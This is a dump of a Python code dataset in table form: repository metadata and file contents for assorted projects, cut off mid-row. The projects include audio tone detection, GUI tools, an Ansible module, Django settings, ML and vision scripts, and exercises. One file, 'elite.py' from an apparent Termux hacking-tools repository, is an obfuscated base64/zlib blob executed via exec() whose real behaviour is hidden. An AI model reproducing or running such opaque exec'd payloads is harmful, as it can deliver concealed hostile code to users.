hexsha
stringlengths
40
40
size
int64
6
782k
ext
stringclasses
7 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
237
max_stars_repo_name
stringlengths
6
72
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
list
max_stars_count
int64
1
53k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
184
max_issues_repo_name
stringlengths
6
72
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
list
max_issues_count
int64
1
27.1k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
184
max_forks_repo_name
stringlengths
6
72
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
list
max_forks_count
int64
1
12.2k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
782k
avg_line_length
float64
2.75
664k
max_line_length
int64
5
782k
alphanum_fraction
float64
0
1
3d2dce671773a71fabec994713ecedc609602818
9,413
py
Python
WifiEnigma/ZeldaAutomation/zelda_home_public.py
Puzzlebox-IMT/Puzzlebox
6b80e22a4aee3228140692bd6352de18b2f6a96d
[ "MIT" ]
null
null
null
WifiEnigma/ZeldaAutomation/zelda_home_public.py
Puzzlebox-IMT/Puzzlebox
6b80e22a4aee3228140692bd6352de18b2f6a96d
[ "MIT" ]
null
null
null
WifiEnigma/ZeldaAutomation/zelda_home_public.py
Puzzlebox-IMT/Puzzlebox
6b80e22a4aee3228140692bd6352de18b2f6a96d
[ "MIT" ]
null
null
null
#Tone detection shamelessly stolen from: #https://benchodroff.com/2017/02/18/using-a-raspberry-pi-with-a-microphone-to-hear-an-audio-alarm-using-fft-in-python/ #!/usr/bin/env python import pyaudio from numpy import * from scipy import fft from time import sleep from collections import deque import paho.mqtt.client as m...
36.484496
131
0.578243
a1e030b4799960c1e0e252f78765b4ede5702975
19
py
Python
python/python_backup/Python_Progs/PYTHON_LEGACY_PROJECTS/Finding_Ascii.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
16
2018-11-26T08:39:42.000Z
2019-05-08T10:09:52.000Z
python/python_backup/Python_Progs/PYTHON_LEGACY_PROJECTS/Finding_Ascii.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
8
2020-05-04T06:29:26.000Z
2022-02-12T05:33:16.000Z
python/python_backup/Python_Progs/PYTHON_LEGACY_PROJECTS/Finding_Ascii.py
SayanGhoshBDA/code-backup
8b6135facc0e598e9686b2e8eb2d69dd68198b80
[ "MIT" ]
5
2020-02-11T16:02:21.000Z
2021-02-05T07:48:30.000Z
c='p' print(ord(c))
9.5
13
0.578947
c563820825e9b9e17421cf6aa1c2f044adf17efa
17,675
py
Python
project/dict_generator.py
Hackathon2020/CoronaHackathon2020
1f27ad7406c9da50a3acfb48f970a0b0b51c47da
[ "MIT" ]
5
2020-03-21T12:58:10.000Z
2020-03-23T13:02:18.000Z
project/dict_generator.py
Hackathon2020/CoronaHackathon2020
1f27ad7406c9da50a3acfb48f970a0b0b51c47da
[ "MIT" ]
26
2020-03-20T21:04:20.000Z
2020-04-30T19:38:02.000Z
project/dict_generator.py
Hackathon2020/CoronaHackathon2020
1f27ad7406c9da50a3acfb48f970a0b0b51c47da
[ "MIT" ]
1
2020-05-08T20:45:20.000Z
2020-05-08T20:45:20.000Z
from PyQt5 import uic from PyQt5.QtWidgets import ( QApplication, QFileDialog, QTableWidgetItem, QTableWidget, QAbstractItemView, QMenuBar, QAction, ) import json import uuid def save_dialog(): """Open a file dialog to save json dict to file.""" dlg = QFileDialog() dlg.setAccep...
32.85316
152
0.608147
9abcf030ff4670bb67a9616241cdf3dd4e0c535b
1,071
py
Python
listings/chapter03/library/books.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
2
2021-09-20T06:16:41.000Z
2022-01-17T14:24:43.000Z
listings/chapter03/library/books.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
listings/chapter03/library/books.py
SaschaKersken/Daten-Prozessanalyse
370f07a75b9465329deb3671adbfbef8483f76f6
[ "Apache-2.0" ]
null
null
null
class Book: def __init__(self, author, title): self.author = author self.title = title def __str__(self): return f'{self.author}: "{self.title}"' class EBook(Book): def __init__(self, author, title, e_format): # Konstruktor der Elternklasse aufrufen super().__init...
26.121951
65
0.587302
b18cf24008f6cb499b91011037e1d308ae062583
1,915
py
Python
REWORK/src/py/credentials.py
JueK3y/Instagram-automated-commenting
7ecc4119d8e9ff0dfba620488018fbd9fce61606
[ "RSA-MD" ]
9
2021-06-22T14:01:24.000Z
2022-03-11T08:59:38.000Z
REWORK/src/py/credentials.py
JueK3y/Instagram-automated-commenting
7ecc4119d8e9ff0dfba620488018fbd9fce61606
[ "RSA-MD" ]
6
2021-01-15T09:12:11.000Z
2021-05-25T08:12:10.000Z
REWORK/src/py/credentials.py
JueK3y/Instagram-automated-commenting
7ecc4119d8e9ff0dfba620488018fbd9fce61606
[ "RSA-MD" ]
1
2021-12-27T18:58:53.000Z
2021-12-27T18:58:53.000Z
# ┌─────────────────────────────────────────────────────────────────────────┐ # │ Instagram Automated Commenting 2.0 │ # ├─────────────────────────────────────────────────────────────────────────┤ # │ DO NOT indicate used program sections as your own. │ # │ DO N...
47.875
99
0.512794
65a518629e9b1757868e86c8f7293f9db949141a
9,849
py
Python
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/system/aix_devices.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/system/aix_devices.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/system/aix_devices.py
tr3ck3r/linklight
5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7
[ "MIT" ]
null
null
null
#!/usr/bin/python # -*- coding: utf-8 -*- # Copyright: (c) 2017, 2018 Kairo Araujo <kairo@kairo.eti.br> # GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt) from __future__ import absolute_import, division, print_function __metaclass__ = type ANSIBLE_METADATA = { 'metadata...
26.124668
124
0.592649
b8383a55e3593d8c7986e20474673481d7154033
524
py
Python
img2xlsx.py
mailyuanhao/Img2Xlsx
cb2a22edf0604c356e77cda0629ab4a5300c9851
[ "MIT" ]
null
null
null
img2xlsx.py
mailyuanhao/Img2Xlsx
cb2a22edf0604c356e77cda0629ab4a5300c9851
[ "MIT" ]
null
null
null
img2xlsx.py
mailyuanhao/Img2Xlsx
cb2a22edf0604c356e77cda0629ab4a5300c9851
[ "MIT" ]
null
null
null
from PIL import Image from openpyxl import Workbook from openpyxl.styles import PatternFill wb = Workbook() ws = wb.active im = Image.open("1.png") s = im.size im = im.resize((int(s[0] / 2), int(s[1] / 1)), Image.ANTIALIAS) s = im.size px = im.load() for x in range(0, s[0]): for y in range(0, s[1]): ...
27.578947
64
0.55916
b21d7f73a3870e3b1a47c1f48c021ce6f28a0fb9
2,870
py
Python
2-resources/_External-learning-resources/02-pyth/python-patterns-master/patterns/behavioral/command.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
2-resources/_External-learning-resources/02-pyth/python-patterns-master/patterns/behavioral/command.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
null
null
null
2-resources/_External-learning-resources/02-pyth/python-patterns-master/patterns/behavioral/command.py
eengineergz/Lambda
1fe511f7ef550aed998b75c18a432abf6ab41c5f
[ "MIT" ]
1
2021-11-05T07:48:26.000Z
2021-11-05T07:48:26.000Z
""" Command pattern decouples the object invoking a job from the one who knows how to do it. As mentioned in the GoF book, a good example is in menu items. You have a menu that has lots of items. Each item is responsible for doing a special thing and you want your menu item just call the execute method when it is press...
26.574074
90
0.675958
a755650164cff0289d5206498221fc224414d5c8
1,109
py
Python
src/util/guard.py
CorvusPrudens/Corisc
e30abde099dc3c1979c2f7d7ff6d37f7d990f852
[ "MIT" ]
null
null
null
src/util/guard.py
CorvusPrudens/Corisc
e30abde099dc3c1979c2f7d7ff6d37f7d990f852
[ "MIT" ]
null
null
null
src/util/guard.py
CorvusPrudens/Corisc
e30abde099dc3c1979c2f7d7ff6d37f7d990f852
[ "MIT" ]
null
null
null
from os import path from os import listdir def write_guards(*filenames): for file in filenames: name = path.basename(file).upper() name = name[:name.rfind('.')] + '_GUARD' original = [] with open(file, 'r') as f: original = [line for line in f] with open(file, 'w') as f: str1 = ...
25.790698
55
0.592426
ac623c01bc6220d09f8dd8ce6a8ee8d1f8ce4519
134
py
Python
Licence 2/I33/TP 4/ex_7.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
8
2020-11-26T20:45:12.000Z
2021-11-29T15:46:22.000Z
Licence 2/I33/TP 4/ex_7.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
null
null
null
Licence 2/I33/TP 4/ex_7.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
6
2020-10-23T15:29:24.000Z
2021-05-05T19:10:45.000Z
import copy def gencirculante(L): return [L[i::]+L[:i:] for i in range(1, len(L)+1)[::-1]] print(gencirculante([1, 2, 3, 4]))
14.888889
60
0.574627
024acf762b8de771f4d841d89af1ccced5b3ae5d
2,529
py
Python
backend/match4healthcare/settings/development.py
match4healthcare/match4healthcare
acf69e3b781d715f0a947c2a9df6646e94f1ca6b
[ "MIT" ]
2
2020-03-28T13:56:39.000Z
2020-03-29T10:16:12.000Z
backend/match4healthcare/settings/development.py
match4healthcare/match4healthcare
acf69e3b781d715f0a947c2a9df6646e94f1ca6b
[ "MIT" ]
76
2020-03-27T21:53:04.000Z
2020-03-30T20:27:43.000Z
backend/match4healthcare/settings/development.py
match4healthcare/match4healthcare
acf69e3b781d715f0a947c2a9df6646e94f1ca6b
[ "MIT" ]
null
null
null
import os from os import path from match4healthcare.constants.enum import Environment from match4healthcare.settings.common import * # noqa from match4healthcare.settings.common import RUN_DIR THIS_ENV = Environment.DEVELOPMENT # See https://docs.djangoproject.com/en/3.0/howto/deployment/checklist/ # SECURITY WARN...
31.6125
113
0.713325
5a17fe133e6d1b05e5cfc6c6b65bfedc121c625a
21,373
py
Python
official/cv/psenet/src/psenet_model_torch2mindspore.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
official/cv/psenet/src/psenet_model_torch2mindspore.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
official/cv/psenet/src/psenet_model_torch2mindspore.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
65.360856
102
0.74159
5a7bc80fedbc93b25be19b73814e5511c5fca630
10,511
py
Python
AdLaneLines.py
Charan-Karthikeyan/Advanced-Lane-Lines
04ea019e6875821db667805f2fd7d9008b1458a1
[ "MIT" ]
null
null
null
AdLaneLines.py
Charan-Karthikeyan/Advanced-Lane-Lines
04ea019e6875821db667805f2fd7d9008b1458a1
[ "MIT" ]
null
null
null
AdLaneLines.py
Charan-Karthikeyan/Advanced-Lane-Lines
04ea019e6875821db667805f2fd7d9008b1458a1
[ "MIT" ]
null
null
null
""" @file : AdLaneLines.py @author : Charan Karthikeyan P V @License : MIT License @date :11/08/2020 @brief : This file is to detect the lane lines on the read and give output for the curvature and better detection methods. """ import numpy as np import cv2 import pickle import glob import matplotlib.pyplot as plt im...
39.965779
152
0.7045
ce914b2bd21a92600f0c3ba82119c15ea50d0ed3
2,818
py
Python
src/aijack/defense/dp/manager/optimizer.py
luoshenseeker/AIJack
4e871a5b3beb4b7c976d38060d6956efcebf880d
[ "MIT" ]
24
2021-11-17T02:16:47.000Z
2022-03-27T01:04:08.000Z
src/aijack/defense/dp/manager/optimizer.py
luoshenseeker/AIJack
4e871a5b3beb4b7c976d38060d6956efcebf880d
[ "MIT" ]
9
2021-12-03T06:09:27.000Z
2022-03-29T06:33:53.000Z
src/aijack/defense/dp/manager/optimizer.py
luoshenseeker/AIJack
4e871a5b3beb4b7c976d38060d6956efcebf880d
[ "MIT" ]
5
2022-01-12T09:58:04.000Z
2022-03-17T09:29:04.000Z
import torch def attach_differential_privacy_mechanism( cls, accountant, l2_norm_clip, noise_multiplier, lot_size, batch_size, dataset_size ): class DPOptimizerWrapper(cls): def __init__(self, *args, **kwargs): super(DPOptimizerWrapper, self).__init__(*args, **kwargs) if noise...
40.257143
87
0.545067
0cb74ccce87b1c7334eaf364172874a93be9c038
1,869
py
Python
pipeswitch/main.py
CcTtry/PipeSwitch
c6d632ee20b6dbbaea9a6fb95b9ea0ed4bbbf67e
[ "Apache-2.0" ]
null
null
null
pipeswitch/main.py
CcTtry/PipeSwitch
c6d632ee20b6dbbaea9a6fb95b9ea0ed4bbbf67e
[ "Apache-2.0" ]
null
null
null
pipeswitch/main.py
CcTtry/PipeSwitch
c6d632ee20b6dbbaea9a6fb95b9ea0ed4bbbf67e
[ "Apache-2.0" ]
null
null
null
import sys from queue import Queue import torch import torch.multiprocessing as mp from pipeswitch.frontend_tcp import FrontendTcpThd from pipeswitch.frontend_schedule import FrontendScheduleThd from pipeswitch.worker import WorkerProc from util.utils import timestamp, TcpAgent, TcpServer def main(): ...
30.639344
80
0.661851
0b5f95eb2079c27a31383f02d119c92985d710c3
9,645
py
Python
windrose.py
gbd-consult/windrose
bd0187720e81cbbcc5f03cabf0b4e32176b5c7be
[ "MIT" ]
null
null
null
windrose.py
gbd-consult/windrose
bd0187720e81cbbcc5f03cabf0b4e32176b5c7be
[ "MIT" ]
null
null
null
windrose.py
gbd-consult/windrose
bd0187720e81cbbcc5f03cabf0b4e32176b5c7be
[ "MIT" ]
1
2020-11-17T12:32:50.000Z
2020-11-17T12:32:50.000Z
import math from PIL import Image, ImageDraw, ImageFont # Global Variables bg_color = '#ffffff' fg_color = '#000000' bar_color = '#0000ff' width = 700 height = 800 header_height = 100 margin = 50 inner_radius = 60 outer_radius = (width / 2 - margin) - inner_radius bar_width = 24 center = (int(width / 2), int((height -...
41.573276
161
0.604769
e7eb1f0c39f5b23d7654441333b28b81889ad79e
1,338
py
Python
tests/test_curry.py
suned/pfun
46c460646487abfef897bd9627891f6cf7870774
[ "MIT" ]
126
2019-09-16T15:28:20.000Z
2022-03-20T10:57:53.000Z
tests/test_curry.py
suned/pfun
46c460646487abfef897bd9627891f6cf7870774
[ "MIT" ]
54
2019-09-30T08:44:01.000Z
2022-03-20T11:10:00.000Z
tests/test_curry.py
suned/pfun
46c460646487abfef897bd9627891f6cf7870774
[ "MIT" ]
11
2020-01-02T08:32:46.000Z
2022-03-20T11:10:24.000Z
from pfun import curry def f( pos_1: str, pos_2: str, *args: str, optional_1='default_1', optional_2='default_2', **kwargs ) -> dict: return { 'pos_1': pos_1, 'pos_2': pos_2, '*args': args, 'optional_1': optional_1, 'optional_2': optional_2, ...
20.90625
62
0.471599
332b05f5ce78574d8bed7d886de3edde14bab474
564
py
Python
Licence 2/I33/Exam 2/ex_5.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
8
2020-11-26T20:45:12.000Z
2021-11-29T15:46:22.000Z
Licence 2/I33/Exam 2/ex_5.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
null
null
null
Licence 2/I33/Exam 2/ex_5.py
axelcoezard/licence
1ed409c4572dea080169171beb7e8571159ba071
[ "MIT" ]
6
2020-10-23T15:29:24.000Z
2021-05-05T19:10:45.000Z
def det(A): signe, d, p = 1, 1, 1 for j in range(len(A)-1): k = j while k < len(A) and A[k][j] == 0: k = k + 1 if k == len(A): return 0 if (k != j): A[k], A[j] = A[j], A[k] signe = -signe d = d * A[j][j] for k in ran...
26.857143
51
0.333333
68753df3ff2990d52edb5d992b897390819e007c
605
py
Python
collections_counter.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
collections_counter.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
collections_counter.py
nirobio/puzzles
fda8c84d8eefd93b40594636fb9b7f0fde02b014
[ "MIT" ]
null
null
null
# 1st line - X = no. of shoes # 2nd line = the space separated list of all the shoe sizes in the shop # 3rd line - the number of customers # The next N lines contain the space separated values of the shoe size desired by the customer and x_i, the price of the shoe. from collections import Counter shoe_count = int(inp...
28.809524
126
0.704132
040d0eaf3c07569bf8e0af7c04c020e64accaa77
5,078
py
Python
methods/transformers/scripts/fsmt/gen-card-facebook-wmt19.py
INK-USC/RiddleSense
a3d57eaf084da9cf6b77692c608e2cd2870fbd97
[ "MIT" ]
3
2021-07-06T20:02:31.000Z
2022-03-27T13:13:01.000Z
methods/transformers/scripts/fsmt/gen-card-facebook-wmt19.py
INK-USC/RiddleSense
a3d57eaf084da9cf6b77692c608e2cd2870fbd97
[ "MIT" ]
null
null
null
methods/transformers/scripts/fsmt/gen-card-facebook-wmt19.py
INK-USC/RiddleSense
a3d57eaf084da9cf6b77692c608e2cd2870fbd97
[ "MIT" ]
null
null
null
#!/usr/bin/env python # Usage: # ./gen-card-facebook-wmt19.py import os from pathlib import Path def write_model_card(model_card_dir, src_lang, tgt_lang): texts = { "en": "Machine learning is great, isn't it?", "ru": "Машинное обучение - это здорово, не так ли?", "de": "Masc...
33.189542
271
0.69358
f0db77f85480cfc96524cb3dce4ee7cc4e49d9d2
457
py
Python
source/pkgsrc/devel/py-setuptools_trial/patches/patch-setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
1
2021-11-20T22:46:39.000Z
2021-11-20T22:46:39.000Z
source/pkgsrc/devel/py-setuptools_trial/patches/patch-setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
source/pkgsrc/devel/py-setuptools_trial/patches/patch-setup.py
Scottx86-64/dotfiles-1
51004b1e2b032664cce6b553d2052757c286087d
[ "Unlicense" ]
null
null
null
$NetBSD: patch-setup.py,v 1.1 2018/04/03 20:19:47 adam Exp $ Do not install docs and avoid conflict between Python versions. --- setup.py.orig 2018-04-03 20:08:51.000000000 +0000 +++ setup.py @@ -86,7 +86,6 @@ setup( license="BSD", packages=find_packages(exclude=("tests",)), include_package_data=True, ...
30.466667
63
0.665208
f0e4ac38f9608d9fe028ec5c02665dd45cdee3e1
9,516
py
Python
utils/reader.py
oracleofnj/nmt-attention-tensorflow
6907def51daf3b1b8f0a2b683f220494a7361a75
[ "MIT" ]
2
2018-01-10T03:12:09.000Z
2018-02-20T14:40:28.000Z
utils/reader.py
oracleofnj/nmt-attention-tensorflow
6907def51daf3b1b8f0a2b683f220494a7361a75
[ "MIT" ]
null
null
null
utils/reader.py
oracleofnj/nmt-attention-tensorflow
6907def51daf3b1b8f0a2b683f220494a7361a75
[ "MIT" ]
null
null
null
# Copyright 2015 The TensorFlow Authors. All Rights Reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applica...
32.813793
80
0.668768
f0e78958f86466793628db7d76bcd3e07afa5019
2,993
py
Python
python/oneflow/compatible/single_client/test/ops/test_gather_model_parallel.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
3,285
2020-07-31T05:51:22.000Z
2022-03-31T15:20:16.000Z
python/oneflow/compatible/single_client/test/ops/test_gather_model_parallel.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
2,417
2020-07-31T06:28:58.000Z
2022-03-31T23:04:14.000Z
python/oneflow/compatible/single_client/test/ops/test_gather_model_parallel.py
wangyuyue/oneflow
0a71c22fe8355392acc8dc0e301589faee4c4832
[ "Apache-2.0" ]
520
2020-07-31T05:52:42.000Z
2022-03-29T02:38:11.000Z
""" Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agr...
35.630952
78
0.726027
0b16283e793e23937f3b17ca79be04cc9b619827
17,287
py
Python
elite.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-17T03:35:03.000Z
2021-12-08T06:00:31.000Z
elite.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
null
null
null
elite.py
Zusyaku/Termux-And-Lali-Linux-V2
b1a1b0841d22d4bf2cc7932b72716d55f070871e
[ "Apache-2.0" ]
2
2021-11-05T18:07:48.000Z
2022-02-24T21:25:07.000Z
#Encrypted By BANGSAT-MILITAN #INSTAGRAM : bangsat_xd/DON,T TRY TO EDIT THIS TOOL/ import zlib, base64 exec(zlib.decompress(base64.b64decode("eJztfWtv20iW6PcA+Q81bKQltWU9/VSuNqvYSdsTO/bGTmdmHEMoiSWpIopk82FbCRrYn7AL7OACC1xgsR8ucP/W/JJ7TlWR4ksS5TjZpFu0LVNk1amqU+ddrx/IIetbE5sbjPSm5BU1hy9GbNIqPX70A7nl3ogUfRMTTA22UyI3zHG5ZZ...
3,457.4
17,183
0.967143
ac9ef3c03cfb4695636a6123396520b0437f5f4f
2,286
py
Python
Python/Programação_em_Python_Essencial/6- Funções/funcoes_com_retorno.py
vdonoladev/aprendendo-programacao
83abbcd6701b2105903b28fd549738863418cfb8
[ "MIT" ]
null
null
null
Python/Programação_em_Python_Essencial/6- Funções/funcoes_com_retorno.py
vdonoladev/aprendendo-programacao
83abbcd6701b2105903b28fd549738863418cfb8
[ "MIT" ]
null
null
null
Python/Programação_em_Python_Essencial/6- Funções/funcoes_com_retorno.py
vdonoladev/aprendendo-programacao
83abbcd6701b2105903b28fd549738863418cfb8
[ "MIT" ]
null
null
null
""" Funções com retorno numeros = [1, 2, 3] ret_pop = numeros.pop() print(f'Retorno de pop: {ret_pop}') ret_pr = print(numeros) # Função print não retorna nada print(f'Retorno de print: {ret_pr}') # None OBS: Em Python, quando uma função não retorna nenhum valor, o retorno é None OBS: Funções Python que retorn...
20.410714
101
0.721785
8c3368e40fede2095ce86e0907150978dbc472cd
3,044
py
Python
hnmon.py
bismuthfoundation/hnmon
3a005fc1ef72a5b62a57c8500c8a6e41fef5c8c5
[ "MIT" ]
null
null
null
hnmon.py
bismuthfoundation/hnmon
3a005fc1ef72a5b62a57c8500c8a6e41fef5c8c5
[ "MIT" ]
null
null
null
hnmon.py
bismuthfoundation/hnmon
3a005fc1ef72a5b62a57c8500c8a6e41fef5c8c5
[ "MIT" ]
null
null
null
import re import requests import json import tornado.ioloop import tornado.web import time import threading class State: def update(self): try: self.link = "https://hypernodes.bismuth.live/status.json" self.state_data = json.loads(requests.get(self.link).text) self.max_b...
27.178571
70
0.613009
adb6d691d519af9569dda4a3b26a32592804a5af
545
py
Python
2.Runde/bwinf37-runde2-master/collide.py
christopher-besch/bwinf_37_round1
425abcce388ead2f075cfc89ff735427791d8084
[ "MIT" ]
2
2020-12-27T19:57:53.000Z
2021-01-04T15:16:42.000Z
2.Runde/bwinf37-runde2-master/collide.py
christopher-besch/bwinf_37_round1
425abcce388ead2f075cfc89ff735427791d8084
[ "MIT" ]
null
null
null
2.Runde/bwinf37-runde2-master/collide.py
christopher-besch/bwinf_37_round1
425abcce388ead2f075cfc89ff735427791d8084
[ "MIT" ]
null
null
null
from numpy import * from scipy.optimize import * def collide(a1, b1, c1, d1): global a, b, c, d a = a1 b = b1 c = c1 d = d1 z = fsolve(solve, array([1, 1])) if 0 < z[0] < 1 and 0 < z[1] < 1: return False else: return True def solve(z): global a...
17.580645
49
0.414679
699067425967762592bc4909ea4844898c104c66
43
py
Python
packages/watchmen-data-surface/src/watchmen_data_surface/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-data-surface/src/watchmen_data_surface/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
packages/watchmen-data-surface/src/watchmen_data_surface/__init__.py
Indexical-Metrics-Measure-Advisory/watchmen
c54ec54d9f91034a38e51fd339ba66453d2c7a6d
[ "MIT" ]
null
null
null
from .main import get_data_surface_routers
21.5
42
0.883721
69990a6e1934d1a6d74b62a66a2e9d8010ee758d
17,472
py
Python
Packs/AcalvioShadowplex/Integrations/acalvioapp/acalvioapp_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
799
2016-08-02T06:43:14.000Z
2022-03-31T11:10:11.000Z
Packs/AcalvioShadowplex/Integrations/acalvioapp/acalvioapp_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
9,317
2016-08-07T19:00:51.000Z
2022-03-31T21:56:04.000Z
Packs/AcalvioShadowplex/Integrations/acalvioapp/acalvioapp_test.py
diCagri/content
c532c50b213e6dddb8ae6a378d6d09198e08fc9f
[ "MIT" ]
1,297
2016-08-04T13:59:00.000Z
2022-03-31T23:43:06.000Z
import pytest from test_data.api_responses \ import test_connection_success, test_connection_failure, \ test_connection_invalid_api_key, test_decoy_host_true, \ test_decoy_host_false, test_decoy_user_true, test_decoy_user_false, \ test_decoy_file_true, test_decoy_file_false, test_mute_decoy_true,...
44.458015
80
0.703583
69fa07723316e774bf99a02bfee4bf72fd87ff9c
2,181
py
Python
tarefas-poo/lista-03/prefeitura/model/prefeitura.py
victoriaduarte/POO_UFSC
0c65b4f26383d1e3038d8469bd91fd2c0cb98c1a
[ "MIT" ]
null
null
null
tarefas-poo/lista-03/prefeitura/model/prefeitura.py
victoriaduarte/POO_UFSC
0c65b4f26383d1e3038d8469bd91fd2c0cb98c1a
[ "MIT" ]
null
null
null
tarefas-poo/lista-03/prefeitura/model/prefeitura.py
victoriaduarte/POO_UFSC
0c65b4f26383d1e3038d8469bd91fd2c0cb98c1a
[ "MIT" ]
null
null
null
# -------------------------- # UFSC - CTC - INE - INE5603 # Exercício da Prefeitura # -------------------------- # Classe responsável por representar uma prefeitura. from model.cidadao import Cidadao class Prefeitura: def __init__(self, nome, cidadaos): '''Uma prefeitura é caracterizada pelo seu nome e po...
32.073529
94
0.621733
aa729fa6eb9d814bfd00d8f6b611d0d871b9c274
3,771
py
Python
Imagenes/vdWColumn/energia_grav/rhor_egrav.py
efogliatto/Tesis
058fa0c2e23cd538621d17d41bb216a4db4d211a
[ "CC0-1.0" ]
null
null
null
Imagenes/vdWColumn/energia_grav/rhor_egrav.py
efogliatto/Tesis
058fa0c2e23cd538621d17d41bb216a4db4d211a
[ "CC0-1.0" ]
null
null
null
Imagenes/vdWColumn/energia_grav/rhor_egrav.py
efogliatto/Tesis
058fa0c2e23cd538621d17d41bb216a4db4d211a
[ "CC0-1.0" ]
null
null
null
import os import vdWColumn as vdw import vdWColumn.postLBRun as post import matplotlib.pyplot as plt import numpy as np import argparse from paraview.simple import * import locale # Extraccion de arreglos en linea desde el centro (xmax/2) hasta xmax def get_array_from_case( case_file, array_name = 'rho', xma...
20.058511
211
0.545479
aab387420a0059312614c0c172d7c2771b081108
630
py
Python
PINp/2015/Sheiko_R_V/task_6_30.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
PINp/2015/Sheiko_R_V/task_6_30.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
PINp/2015/Sheiko_R_V/task_6_30.py
YukkaSarasti/pythonintask
eadf4245abb65f4400a3bae30a4256b4658e009c
[ "Apache-2.0" ]
null
null
null
# Задача 6. Вариант 30. # Создайте игру, в которой компьютер загадывает название одного из двенадцати месяцев, а игрок должен его угадать. # SHEIKO R.V # 02.06.2016 import random month=["Январь","Февраль","Март","Апрель","Май","Июнь","Июль","Август","Сентябрь","Октябрь","Ноябрь","Декабрь"] #Список месяцев print("Данна...
42
127
0.736508
2acfd541e573af352e2a4a5fa72ae67c73e479c7
110
py
Python
listings/chapter17/parse_markdown.py
rh0-me/ITHandbuch10
1582d6317e11cc958a14e157440dccf94d44583b
[ "Apache-2.0" ]
6
2021-08-04T19:42:53.000Z
